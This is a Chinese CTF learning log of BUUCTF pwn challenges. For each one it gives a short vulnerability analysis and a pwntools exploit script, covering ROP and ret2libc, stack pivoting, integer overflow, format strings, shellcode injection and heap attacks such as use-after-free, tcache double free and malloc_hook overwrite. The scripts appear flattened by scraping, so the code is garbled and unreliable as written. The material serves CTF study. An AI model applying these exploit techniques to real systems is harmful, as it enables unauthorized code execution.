buu——pwn学习 有些题目不小心删了,hhh不过也不重要了,就算是第十题开始的吧(虽然应该是不止的)
十、铁人三项(第五赛区)_2018_rop checksec一下,开启了nx保护,然后拖入ida
呃。。。应该就是比较熟悉的rop的构建了,直接上exp吧,这类题目做挺多的了:
十一、gyctf_2020_borrowstack 先做下这题,一直想完整的了解栈迁移,借着这题真正的掌握栈迁移的手法和知识点吧,先checksec一下,再拖入ida分析
里面很简单,没有什么复杂的函数,很适合借此了解栈迁移!首先read函数读取的字节数不够,只能够刚好覆盖返回地址。第二输入点的位置是bss段上,不是栈。所以这时候就是要把栈迁移到这里,因为在这里我们可以有足够的输入构建系统函数调用shell
这题太坑了!!!!!!!!!!!!!首先,你如果使用了system函数调用/bin/sh,这时候无论你选择哪个版本的libc都无法成功获取shell!网上的师傅们好像也是这样,原因都只是模糊的说猜测是因为栈迁移的位置太靠近一些重要数据,可能还是影响到了什么东西。都采取了one_gadget的办法,这里我同样踩坑!
师傅们都是泄露出puts的got表地址,去查询出libc版本然后下载,然而我很惊奇的发现,我泄露的地址查询不到对应的libc版本。。。所以这里的exceve函数地址我是直接把师傅们的搬运过来了0x4526a
以及,栈迁移的发送函数,只能选择send。(别问为什么,我选择的是sendline。。。一直出问题,甚至为了找问题,我每个与师傅们wp不同地方慢慢改,发现竟然是这个原因,只能怪自己粗心吧,猜测是这里的read读取过于严格,所有输入数据都是刚好,多输入了一个\n导致了问题的发生,下次一定注意!)还有就是距离重要数据太近这点,前面的ret执行多次就是为了避免这个,因为bss段距离.got.plt太近了,并且跳转回main函数的时候,还会进行一次巨大的升栈,所以的话执行多次ret把栈的位置往bss段的高地址处迁移
其他的话,wp如下:
十二、bjdctf_2020_babyrop 例行checksec一下,然后运行一下。开启了nx和部分relro缓解机制。运行的结果也不能看出些什么,进入ida看看吧
在一个函数里面有着很明显的溢出点,足够我们覆盖返回地址并且构造系统函数了。一道常规的rop,就不多说了,已经做烂了。。
exp如下:
十三、others_shellcode 例行checksec以及执行附件,开启了nx,pie以及部分relro。运行附件发现直接就获取了shell。。
然后我试着nc一下远程,看看是不是也能获取shell,没想到。。确实可以
查看ida,发现附件中是已经调用了execve函数
十四、pwn2_sctf_2016 例行checksec并且运行,只开启nx和部分的relro,拖入ida查看一下代码
程序比较简单,可以很明确的发现,不存在后门函数,也没有明显的溢出点,被限制了。printf也没有问题,对于这样的情况,我第一时间是想到了整数溢出,通过整数溢出来越过检查,通过小数变成大数,从而溢出。
接下来讲下漏洞点:main函数里面定义的v2是int类型的,而在get_n里面却是unsigned的,这里如果我们输入了一个负数,那么在get_n里面将变得非常大,足够我们溢出了。
但是没有后门函数,所以只能进行rop了,用printf函数泄露got表地址,LibcSearcher一下,最终构造sys函数获取shell。网上师傅们都取了格式化参数,其实没必要的,本身printf存在着格式化字符串漏洞,所以可以直接printf出来,没必要再输入一个格式化参数。这里有个坑的地方,好吧,是我傻得踩到了还一直没看出来。get_n里面的getchar里面已经对0截断了,所以在第二次构造payload的时候,不可以像往常那样顺手写个p32(0),后面感觉不对劲,我给他顺手改成了个p32(1)。。。。有点傻。。这个后面三个字节仍然是0,依旧截断了。写出来警示一下大伙,多注意点细节。
对了,libc找出来有15个,你可以知道我有多绝望了,一个个试了,竟然都不行,而且还是两遍!!!
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from  pwn import  *from  LibcSearcher import  *"node3.buuoj.cn" ,25066 )'./1' )'debug' 'printf' ]'printf' ]'main' ]'read?' ,'-1' )'a' *(0x2c +0x4 )+p32(printf_plt)+p32(main)+p32(printf_got)'data!\n' ,payload)4 ))"printf address:" +hex (printf_addr))'printf' ,printf_addr)'printf' )'str_bin_sh' )'system' )'read?' ,'-1' )'a' *(0x2c +0x4 )+p32(system)+'beef' +p32(binsh) 'data!\n' ,payload)
十五、ciscn_2019_s_3 常规执行checksec一下,查看保护,并且执行一下程序,看看回显
出现了一堆乱码,可能是地址泄露了?进入ida看看情况如何
main函数里面很简单,两个系统调用就没了,而有系统调用,那就去看看汇编代码。汇编代码前两行要注意,这里的rsp没有减少,在这题里面rsp=rbp了,后面计算偏移不可以把rbp覆盖了。左边的函数栏看一下,有个gadget的,进入查看
很显然,这里面给出了两个调用号,0F和3BH,对应着这题两种解法,我们先介绍使用3BH调用号调用execve函数的解法,稍后再介绍另一种。
解法一 execve(“/bin/sh”,0,0)总共有三个参数,所以我们需要控制rdi,rsi,rdx三个寄存器的值,很显然,这是return to libc_csu_init。rsi和rdx的值很好控制,设置为0即可,而/bin/sh字符串则需要我们去寻找了,我们只有一个输入点,就是往栈上面输入/bin/sh,然后通过泄露栈的地址而得到该地址,从而把地址给rdi,最后再调用syscall函数,即可获取shell。
而write函数会输出栈上0x30个内存单元内容,通过调试,可以知道0x20位置处会泄露出一个栈上的地址,我们只需要计算该地址到/bin/sh的偏差,就可以获取/bin/sh的地址
上图是我在本地调试的情况,0x7ffcaba65838是泄露出来的地址,可是扣去0x7ffcaba656f0得到的却是0x148,而我去网上找师傅们的wp是0x138,不太懂为什么。所以我只能本地获取到了shell,但是远程不能过了。
获取到了/bin/sh的地址,后面就是构造rop链了。
这边csu里面的edi是有问题的,因为/bin/sh的地址是不止4个字节,所以edi是不够盛放的,所以我们需要rdi才行,这边使用了ROPgadget去寻找。所以后面payload构造rop时,这边还需要利用r12盛放栈上的内容进行跳转到栈上继续执行,而不能直接就在r12里面存放syscall地址进行直接调用。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from  pwn import  *'./1' )'debug' './1' )'main' ]0x400517 0x4004e2 0x40059a 0x400580 0x138 0x4005a3 "/bin/sh\x00" *2 +p64(main)0x20 )8 ))print  hex (leak)print  hex (binsh)'b *main' )"/bin/sh\x00" *2 0 )+p64(0 )+p64(binsh+0x50 )+p64(0 )+p64(0 )+p64(0 )
解法二 后面有缘再更新吧,,,,
十六、ciscn_2019_es_2 常规checksec查看保护措施
程序只开启了NX,应该是道较为简单的题目,进入ida看看情况
这里总共输入了两次数据,同时还能printf出来,可能会泄露一些重要地址信息。这里的read函数全部被限制到只够刚好覆盖到返回地址就不能再继续填充了,所以这里是用了栈迁移的思想,把栈迁移到栈上,制造一个假栈。
栈迁移利用leave 和ret指令改变ebp和esp的指向位置,所以要先得到要迁移的地址,也就是s位置,这边泄露ebp的值,从而计算两者偏差
最顶上0xfffcd65就是s的位置,而0xffcd678就是ebp指向的位置,而在该地址处的内容为0xfffcd688就是我们泄露出来的内容,与s偏差为0x38
而系统函数附件中已经有了system的调用,差的就只有/bin/sh的字符串了,我们可以直接写在栈上,然后仍然是用泄露出来的地址算出/bin/sh地址,作为参数即可
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from  pwn import  *'node3.buuoj.cn' ,27262 )0x8048400 0x80484b8 'linux' ,arch='i386' ,log_level='debug' )'a' *0x20 +'bbbbbbbb' 'bbbbbbbb' )4 ))print  hex (ebp)0x38 'bbbb' +p32(system)+'dead' +p32(ebp-0x28 )+'/bin/sh\x00' +'a' *0x10 +p32(s_buf)+p32(leave_ret)
十七、ciscn_2019_n_3 照例checksec一下
开启了nx和canary,relro只开启部分,可以修改got表(后面没用到就是了)
进入ida看看反汇编代码
总共有着四个功能,第一个new note:
在第一个功能里面,可以创建一个堆,堆里面第一个存放的是printf函数指针,第二存放了一个free函数指针,第三个存放有区别,当type==1,存放的是一个数据,type ==2,存放的是字符串的地址。然后这个字符串的真正位置存放在又生成的一个堆里面。
free函数里面并未将指针置空,存在uaf漏洞。
另外三个功能,一个是调用printf函数指针,打印出一串字符串,一个是调用free函数指针,还有一个就是打印没什么意义的字符串
在函数表里面,我们可以看见,system函数被调用过了,也就是接下来就是/bin/sh以及调用的问题,这里我们选择在函数指针做手脚,因为函数指针未置空,我们只需要把free函数指针改为指向system的地址,然后再对释放的内容修改为/bin/sh的地址,就能让调用free(ptr)变成system(“/bin/sh”),这边由于输入长度问题,写的是/sh字符串。
那该怎么修改呢?利用fastbin attack,首先创建两个chunk(type==2的,chunk0和chunk1)创建的chunk都是固定大小为0xc的chunk,后面我们能控制大小的chunk随便写一个大小即可(不能为0xc!其他都行)。然后释放掉这两个chunk,再申请一个chunk3,我们能控制大小的chunk也要设置大小也为0xc,由于LIFO,那么程序创建的chunk将会被分配到第二个被释放的chunk1的位置,我们能控制大小的chunk就会被分配到第一个释放的chunk0的位置,而我们又能对这个chunk进行输入,所以把”sh\x00\x00”+p32(system)输入即可,最后再释放掉调用函数
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from  pwn import  *'./1' )'debug' './1' )'system' ]def  new (idx,num,size,value ):"CNote >" ,'1' )"Index >" ,str (idx))"Type >" ,str (num))if  num==1  :"Value >" ,value)else  :"Length >" ,str (size))"Value >" ,value)def  delete (idx ):"CNote >" ,'2' )"Index >" ,str (idx))def  show (idx ):"CNote >" ,'3' )"Index >" ,str (idx))def  purchase ():"CNote >" ,'4' )0 ,2 ,0x14 ,'a' )1 ,2 ,0x14 ,'b' )0 )1 )2 ,2 ,0xc ,"sh\x00\x00" +p32(system))'b*main' )0 )   
十八、ciscn_2019_final_3 常规checksec一下
保护全开了,拖进ida看看反汇编代码吧
c++代码写的,不过功能很简单,就两个选择,先看第一个吧
最多可以创建二十四个不同的索引,堆的大小最大不能超过0x78,被限制只有fast chunk大小,然后我们在创建之后还能往堆上输入数据,最后,printf了堆的地址出来。
第二个功能更简单
释放掉索引对应的堆块,并且可以发现,并未将堆指针置空,存在uaf漏洞。在找找其他地方,发现没有存在后门函数。那只能走泄露libc了,然后劫持hook函数。
要泄露libc,就要有被释放的unsorted bin,这里限制了chunk的大小,那我们就要去修改chunk size,将其修改为比0x410大的数,因为题目环境为libc-2.27.so,存在tcache。
先创建许多堆块(后面再解释为什么创建这么多个),然后释放同一个堆块,因为存在tcache,所以可以直接释放两次
出现了循环指向,这时候我们在申请同样大小的堆块,这里是要申请三次,第三次chunk生成的地方(选择生成在chunk0的size处,修改他的值),才是我们要的。首先是指向自身,当我们第一次申请时,通过输入把fd修改为指向chunk0
这是第一次申请,可以看到,chunk0地址出现了
这是第二次申请,只剩下chunk0,那第三次申请就能让chunk出现在chunk0位置,然后修改其size的大小,这边我是修改为0x420
然后把这个堆块释放掉,就会出现libc了,这边解释为什么要申请很多的堆块,因为你要修改为0x420,如果申请的堆块没有大于0x420,那这个堆块会一直处于free的状态的,他要有那么大的size,才能成为0x420的chunk,所以我们申请的堆块会先被并入这个大chunk里面。
释放完后出现了libc中的地址,接下来就泄露了。因为题目里面只能泄露出堆块的地址,所以我们要想办法让在这个地址申请chunk。这边因为这个0x420的chunk是由许多chunk合并的,我们把chunk1释放了,再申请一个大小和chunk0一样的堆块,就可以让chunk1能够重叠在fd的位置
可以看到,0x20大小的tcache_entry出现了类似前面的重复释放的样式,所以也是申请堆块,然后在libc地址生成chunk,再将其泄露。之后就是劫持hook了,以上的就是这题的点了,后面不多说了。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 from  pwn import  *"node3.buuoj.cn" ,25609 )'debug' './1' )"./libc.so.6" )'__malloc_hook' ]def  add (idx,size,write ):"choice >" ,'1' )"index" ,str (idx))"size" ,str (size))"something" ,write)"gift :" )return  int (p.recv(14 ),16 )def  remove (idx ):"choice >" ,'2' )"index" ,str (idx))0 ,0x70 ,'a' )print  hex (ptr0)1 ,0x10 ,'x' )2 ,0x70 ,'x' )3 ,0x70 ,'x' )4 ,0x70 ,'x' )5 ,0x70 ,'x' )6 ,0x70 ,'x' )7 ,0x70 ,'x' )8 ,0x70 ,'x' )9 ,0x70 ,'x' )10 ,0x70 ,'x' )11 ,0x70 ,'x' )12 ,0x20 ,'x' )12 )12 )13 ,0x20 ,p64(ptr0-0x10 ))14 ,0x20 ,p64(ptr0-0x10 ))15 ,0x20 ,p64(0 )+p64(0x421 ))0 )1 )16 ,0x70 ,'x' )17 ,0x10 ,'x' )18 ,0x10 ,'x' )-0x3ebca0 0x10a38c "libc_base:" +hex (libc_base))"__malloc_hook: " +hex (__malloc_hook))"one_gadget: " +hex (one_gadget))3 )3 )19 ,0x70 ,p64(__malloc_hook))20 ,0x70 ,p64(__malloc_hook))21 ,0x70 ,p64(one_gadget))"choice >" ,'1' )"index" ,'22' )"size" ,'0x30' )
十九、ciscn_2019_s_4 这题好像之前有过?所以这里就不再多说了,栈迁移的题目,直接贴exp了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from  pwn import  *"node3.buuoj.cn" ,29292 )'debug' 0x8048400 0x80484b8 'a' *0x24 +'beef' "name?" ,payload)"beef" )4 ))print  hex (ebp)0x38 'bbbb' +p32(system)+p32(1 )+p32(s_buf+0x10 )+"/bin/sh\x00" ).ljust(0x28 ,'a' )+p32(s_buf)+p32(leave_ret)
二十、jarvisoj_fm 一道很平常的格式化字符串的题目,就直接给exp了
exp:
1 2 3 4 5 6 7 8 9 10 from  pwn import  *"node3.buuoj.cn" ,25092 )'debug' 0x0804A02C '%11$n' 
二十一、[HarekazeCTF2019]baby_rop2 一道常规rop题目,除了这题printf会出现下图的匹配不到libc之外,其他没什么,而对于这个,只要换个函数,我这边用read,就可以了。噢,还有!目录里面没有flag
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from  pwn import  *from  LibcSearcher import  *"node3.buuoj.cn" ,26933 )'debug' './1' )'main' ]'printf' ]'printf' ]'read' ]'read' ]0x400733 0x4004d1 'a' *0x28 +p64(pop_rdi)+p64(read_got)+p64(printf_plt)+p64(main)'name? ' ,payload)6 ).ljust(8 ,'\0' ))print  hex (read)'read' ,read)'read' )'str_bin_sh' )'system' )'a' *0x28 +p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
二十二、ez_pz_hackover_2016 常规checksec一下,查看保护机制
nx都没开,应该是注入shellcode来getshell了,进入ida看看代码
确实,没给后门函数,nx没开,应该就是注入shellcode了,我们看看代码,首先题目先把s的在栈上的地址泄露出来了,后面则需要绕过crashme,这个简单,先输入这个,加上\x00让strcmp检验通过,之后,在vuln里面的memcpy存在着溢出,里面的栈比较小,而外面的栈较大,可以写入shellcode,接下就计算shellcode的地址,以及溢出点的偏移距离,这边有坑的就是IDA里面的偏移是错的,我们需要进入gdb动调试进行找寻地址以及偏移距离
我们泄露的地址距离字符串起始地址0xffc445f0相减之后,相差0x1c
垃圾字符串偏移是18,但是我们还输入了crashme\x00,所以总的偏移是26个。之后就是return to shellcode了
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from  pwn import  *'./1' )'debug' 'linux' 'i386' "0x" )int (p.recv(8 ),16 )print  hex (s_buf)"crashme\x00" .ljust(26 ,'a' )+p32(s_buf-0x1c )+shellcode"> " ,payload)
二十三、[Black Watch 入群题]PWN 常规checksec一下
只开启了nx保护,进入ida看看代码
给了两次输入,第一次在.bss段上,第二次是栈,栈上的只够覆盖到返回地址,但是.bss却可以输入大量数据,所以要劫持栈到.bss进行rop,所以要让ebp的值为s的地址,返回地址为leave,把栈劫持到.bss上,其他剩下就是常规的rop
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from  pwn import  *from  LibcSearcher import  *"node3.buuoj.cn" ,26260 )'debug' 0x8048408 0x0804A300 './1' )'main' ]'write' ]'write' ]'xxxx' +p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 )"name?" ,payload)'a' *0x18 +p32(s_buf)+p32(leave_ret)"say?" ,payload)4 ))print  hex (write)"write" ,write)'write' )'str_bin_sh' )'system' )'xxxx' +p32(system)+p32(main)+p32(binsh)'a' *0x18 +p32(s_buf)+p32(leave_ret)
二十四、jarvisoj_tell_me_something 这题,进入ida里面
有个这个函数,可以看见,已经读取了flag,并且还会将其输出,并且main函数有溢出点,跳转到这,再接收flag即可
exp:
1 2 3 4 5 6 7 8 9 from  pwn import *p =remote('node3.buuoj.cn',28478)log_level ='debug' payload ='a' *0x88+p64(0x400620)"message:" ,payload)
二十五、gwctf_2019_easy_pwn 照例checksec
只开启了nx,进入ida发现是c++写的,看不懂。。。
直接输入是不够溢出的,然后往下看,发现还有个strcpy,可能可以溢出,但是v4不知道咋来的,然后就跑去百度了(真没志气,hh),发现其实能看懂应该很简单,不过可能就是为了让人看不懂吧,嗯,应该要学c++了!(下次一定)
这边是I可以被替换为pretty,所以填入I,被转换溢出,而跳转进行rop
明白这个,其他也就没什么了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from  pwn import  *"node3.buuoj.cn" ,26014 )'debug' './1' )'puts' ]'puts' ]0x8049091 'I' *16 +p32(puts_plt)+p32(main)+p32(puts_got)'pretty' *16 )12 )4 ))print (hex (puts))0x05f140 +0x5f066 'I' *16 +p32(one_gadget)
二十六、wustctf2020_getshell 一道简单题,直接exp:
1 2 3 4 5 6 7 8 from  pwn import  *"node3.buuoj.cn" ,28677 )'debug' 'a' *0x1c +p32(0x0804851B )
二十七、mrctf2020_easyoverflow 虽然checksec完,保护全开了,但是程序很简单,真的只是溢出覆盖即可,就不多说了
exp:
1 2 3 4 5 6 7 8 from  pwn import  *"node3.buuoj.cn" ,28551 )'debug' 'a' *0x30 +'n0t_r3@11y_f1@g' 
二十八、cmcc_pwnme1 这题,本来是平常的ret2libc的,但是,靠,给坑了
是的,这里给了个“后门函数”!,假的,害我一直想为什么不能获取,以为是不是接收出了问题。原因却是home里面是不存在flag的,怎么可能获取flag
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from  pwn import  *from  LibcSearcher import  *"node3.buuoj.cn" ,27186 )'debug' './1' )'puts' ]'puts' ]0x08048624 "6. Exit" ,'5' )'a' *0xA8 +p32(puts_plt)+p32(addr)+p32(puts_got)'Please input the name of fruit:' ,payload)4 ))"puts_addr ---->>"  + hex (puts))'puts' ,puts)'puts' )'system' )'str_bin_sh' )'a' *0xa8 +p32(system)+'xxxx' +p32(binsh)'Please input the name of fruit:' ,payload)
二十九、jarvisoj_level1 常规checksec一下
发现什么都没开,第一想法就是注入shellcode,结果。。
结果ida里面竟然确实是给了buf的地址,再加上
嗯,好家伙,直接shellcode了,然后。。。远程不通,本地通了,没想明白,跑去百度了,结果发现,远程连接,竟然是先输入,再输出栈上的buf地址,靠!然后方法就变成了ret2libc了
这波竟然是给的附件不准确,见识到了!就跟ida里面栈偏移可能会错一样,以后多多注意自己动手进行调试和连接
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from  pwn import  *from  LibcSearcher import  *"node3.buuoj.cn" ,26819 )'./level1' )'''context.log_level='debug' context.os='linux' context.arch='i386' p.recvuntil("this:0x") buf_addr=int(p.recv(8),16) print hex(buf_addr) shellcode=asm(shellcraft.sh()) payload=(shellcode).ljust(0x8c,'a')+p32(buf_addr) p.sendline(payload) ''' 'write' ]'write' ]'main' ]'A' *0x8c +p32(write_plt)+p32(main_addr)+p32(1 )+p32(write_got)+p32(4 )4 ))'write addr: ' +hex (write))'write' ,write)"write" )"system" )"str_bin_sh" )'A' *0x8c +p32(system)+'xxxx' +p32(binsh)
三十、bjdctf_2020_babystack2 常规checksec
保护没开几个,进入ida静态分析一波,
代码很简单,输入一个数字,不能超过10,然后这个数值作为后续输入的大小,并且能看左边有给后门函数,那么就是溢出劫持rip即可,认真观察,输入的nbytes前面是int,后面却是unsigned了,所以存在整型溢出,输入一个负数,即可变为很大的整数
exp:
1 2 3 4 5 6 7 8 9 10 11 from  pwn import  *'debug' "node3.buuoj.cn" ,26091 )0x0400726 "name:" )'-1' )'a' *0x18 +p64(get_shell)"name?" ,payload)
三十一、jarvisoj_level3_x64 
程序很简单,应该是道rop,有溢出点,有write泄露函数,这题考点应该是在于是64位程序,使用寄存器传参,而write的参数需要三个寄存器才行,我第一个想到的是ret2csu,刚好有三个前三个寄存器,没想到,没利用成功,不知道为什么。有师傅知道的话,恳请指点一番!感激不尽!
然后就是百度了一下,发现这题有趣,使用ROPgadget可以找到rdi和rsi两个寄存器,而第三个rdx寄存不需要去控制,里面的值已经存有200,可以直接使用了,所以就是正常构造rop即可
所以这题得到的就是,要多观察我们需要构造的寄存器里面的值是否已经可以使用,需不需要额外构造
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from  pwn import  *from  LibcSearcher import  *"node3.buuoj.cn" ,25077 )'debug' './1' )'main' ]'write' ]'write' ]'read' ]0x4006aa      0x400690 0x400499 0x4006b3 0x4006b1     ''' payload='a'*0x88+p64(pppppp_ret) payload+=p64(0)*2+p64(ret)+p64(8)+p64(read_got)+p64(1) payload+=p64(mov_rdx_rsi_edi)+p64(write_plt)+p64(main) p.sendlineafter('Input:',payload) p.recv() write=u64(p.recv(6).ljust(8,'\0')) log.info("wirte addr:"+hex(write)) ''' "a"  * 0x88 1 )			0 )	"Input:\n" , payload)6 ).ljust(8 , '\0' ))	"read addr:" +hex (read))"read" ,read)"read" )"system" )"str_bin_sh" )'a' *0x88 +p64(pop_rdi)+p64(binsh)+p64(system)'Input:' ,payload)
三十二、jarvisoj_level4 32位的rop,就没有上面那么麻烦了,直接在栈上写就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from  pwn import  *from  LibcSearcher import  *"node3.buuoj.cn" ,27477 )'debug' './1' )'main' ]'write' ]'write' ]'read' ]'read' ]'a' *0x8c +p32(write_plt)+p32(main)+p32(1 )+p32(write_got)+p32(4 )4 ))"write addr:" +hex (write))'write' ,write)'write' )'str_bin_sh' )'system' )'a' *0x8c +p32(system)+p32(0 )+p32(binsh)
三十三、picoctf_2018_rop chain 常规32位rop即可getshell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from  pwn import  *from  LibcSearcher import  *"node3.buuoj.cn" ,27038 )'debug' './1' )'main' ]'printf' ]'printf' ]'a' *28 +p32(printf_plt)+p32(main)+p32(printf_got)"input> " ,payload)4 ))"printf addr:" +hex (printf))'printf' ,printf)'printf' )'str_bin_sh' )'system' )'a' *28 +p32(system)+p32(0 )+p32(binsh)
续:突然想去百度一下,看看那个给的后门函数是不是有用(因为我是没去用的,直接就是ret2libc了),结果发现,师傅们的解法是去利用已经给的函数,去让flag被打印出来,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from  pwn import  *from  LibcSearcher import  *"linux" , arch = "i386" , log_level= "debug" )"node3.buuoj.cn" , 27036 )0x080485CB 0x080485D8 0x0804862B "a"  * 0x1c 0xBAAAAAAD ) + p32(0xDEADBAAD )"input> " , payload)
三十四、picoctf_2018_buffer overflow 1 exp:
1 2 3 4 5 6 7 8 9 10 from  pwn import  *"node3.buuoj.cn" ,25801 )'debug' 'a' *0x2c +p32(0x80485cb )"string: " ,payload)
三十五、jarvisoj_test_your_memory 
checksec一下,然后进入ida
这题的溢出点在scanf,然后,这里的检查保护,似乎没什么用处,并不能影响到退栈时候,我们控制eip,所以不用管,然后后门函数给了,直接用就好了。
这题跟之前有道类似,这次我学聪明了,很早就nc看了,远程和本地不一样,远程先要我们进行输入,这里算是一个点;还有个就是,调用程序函数打印flag的时候,返回地址处要写存在的地址,不可以随便填写,否则无法得到flag。
exp:
1 2 3 4 5 6 7 8 9 10 from  pwn import  *"node3.buuoj.cn" ,27280 )'debug' 0x080485BD 0x80487e0 'a' *0x17 +p32(system)+p32(flag)+p32(flag)
三十六、cmcc_simplerop 
checksec一下,然后拖进ida。
符号表满满当当,静态链接了。一般考虑为ret2syscall。也确实,ROPgadget寻找了一番,syscall需要的都有了。除了没有/bin/sh,最开始我是直接寻找sh字符串的,因为有的题目sh也是可以getshell的,但是这题不行。就必须要找地方输入/bin/sh了,这个地方当然是.bss段啦
然后就是这边的溢出IDA里面有误,需要gdb里面进行寻找,偏移为32才对。
exp1:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from  pwn import  *from  LibcSearcher import  *"node3.buuoj.cn" ,29838 )'debug' './1' )0x0806EEF0 0x080eafe1 0x080eaf80 0x0806e850    0x080bae06 'a' *32 +p32(pop_eax)+p32(0x3 )+p32(ppp_ret)+p32(8 )+p32(bss)+p32(0 )+p32(int_80)0xB )+p32(ppp_ret)+p32(0 )+p32(0 )+p32(bss)+p32(int_80)"input :" ,payload)'/bin/sh\x00' )
第一个写法,是我转后写的样子,但是我的不行,出现下面的报错打不通。去百度了,但是由于博客园审核,没能查看到博文
这边似乎是execve的条件未达成,可是我与上面的exp差别只在于int 80的地址不同,我的是ROPgadget中找到的,而上面exp里面的int 80,是我在一个师傅的wp里面发现的,两者不一样
exp2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 from  pwn import  *from  LibcSearcher import  *"node3.buuoj.cn" ,29838 )'debug' './1' )'read' ]0x080493e1 0x080c1a9d 0x080eaf80 0x0806e850    0x080bae06 'a' *32 +p32(read)+p32(ppp_ret)+p32(0 )+p32(bss)+p32(8 )0xB )+p32(ppp_ret)+p32(0 )+p32(0 )+p32(bss)+p32(int_80)"input :" ,payload)'/bin/sh\x00' )
第二个方法其实本质原理与上一个一样,就是跳转read的构造方式不一样,这边直接使用地址跳转,而不是系统调用。注意这两个方法的int 80不一样,用第二的int 80调用两次就会出现上图的情况
exp3:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from  pwn import  *'debug' "node3.buuoj.cn" ,29838 )'./1' )0x080eaf80 'mprotect' ]'read' ]0x0806e850    'a' *32 +p32(mprotect)+p32(ppp_ret)+p32(0x80ea000 )+p32(0x2000 )+p32(0x7 )0 )+p32(bss)+p32(0x50 )+p32(bss)"input :" ,payload)
第三个方法是使用mprotect把.bss修改为可执行,然后注入shellcode来getshell,有个点是修改的起始位置,得要最后三个为0才行,否则打不通,像是内存对齐的问题。
三十七、mrctf2020_shellcode 
checksec一下,预测是注入shellcode,然后拖进IDA。
这题出没办法反汇编,百度上的wp也没办法,可能是直接call rax有点问题。不过好在汇编不复杂,很简单的程序逻辑,先输入0x400,然后做一个判断,其实这个判断无影响的,有输入的话,rax返回值就是大于0,跳转到右侧去执行,右侧是直接执行我们输入的数据,所以这边是直接ret2shellcode
exp:
1 2 3 4 5 6 7 8 from  pwn import  *"node3.buuoj.cn" ,27104 )'linux' ,arch='amd64' ,log_level='debug' )"magic!" ,shellcode)
三十八、others_babystack 这题代码很简单,canary也很容易泄露,其他就是rop。所以不多说。
注意点就是,这里的退栈要执行功能3才能退出,我刚开始一直反应过来,后面才发现的。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from  pwn import  *from  LibcSearcher import  *"node3.buuoj.cn" ,27939 )'debug' './1' )0x400908 'puts' ]'puts' ]0x400a93 'a' *0x88 ">> " ,'1' )">> " ,'2' )"a" *0x88 )8 ))-0xa "canary: " +hex (canary))">> " ,'1' )'a' *0x88 +p64(canary)+'a' *0x8 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)">> " ,'3' )6 ).ljust(8 ,'\0' ))print  hex (puts)'puts' ,puts)'puts' )'str_bin_sh' )'system' )'a' *0x88 +p64(canary)+'a' *0x8 +p64(pop_rdi)+p64(binsh)+p64(system)">> " ,'1' )">> " ,'3' )
三十九、[ZJCTF 2019]EasyHeap 
checksec一下, 然后进入ida。根据题目已经知道是个heap题目。
这边在编辑chunk上内容时候,输入的大小是再次由我们确定的,所以这里有着堆溢出漏洞,可以修改后一个chunk的fd指针,导致任意写的目的。
这边释放已经把指针置空了。
生成chunk就没什么好说的,然后这里是没有打印函数的,如果要输出就比较麻烦,要用IO结构体输出了。
这边其实有个后门函数的,可能是原题的有,但是这是buu,做到这大家应该都知道,flag就是直接在/根目录下的,所以不用去尝试就知道这里不行,但是给了system函数,got又可以改写,这边就使用修改got表的方法。具体脚本写,exp的注释十分详细了,步骤也不复杂,就不赘述了。
具体脚本编写,我在百度里面找到了一个师傅写的很详细,就直接搬过来了
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from  pwn import  *"node3.buuoj.cn" ,26437 )'debug' './1' )'./1' )'free' ]0x400700 def  debug ():def  new (size ):"choice :" ,'1' )"Heap : " ,str (size))"heap:" ,p64(0 ))def  edit (idx,content ):"choice :" ,'2' )"Index :" ,str (idx))"Heap : " ,str (len (content)))"heap : " ,content)def  delete (idx ):"choice :" ,'3' )"Index :" ,str (idx))print  hex (free_got)0x68 )0x68 )0x68 )2 )'/bin/sh\x00'  + 'a'  * 0x60  + p64(0x71 ) + p64(0x6020e0 -0x40 +0xd )1 ,payload)0x68 )0x68 )0 )*3 +p64(0 )*4 +p64(free_got)3 ,payload)0 ,p64(system))1 )
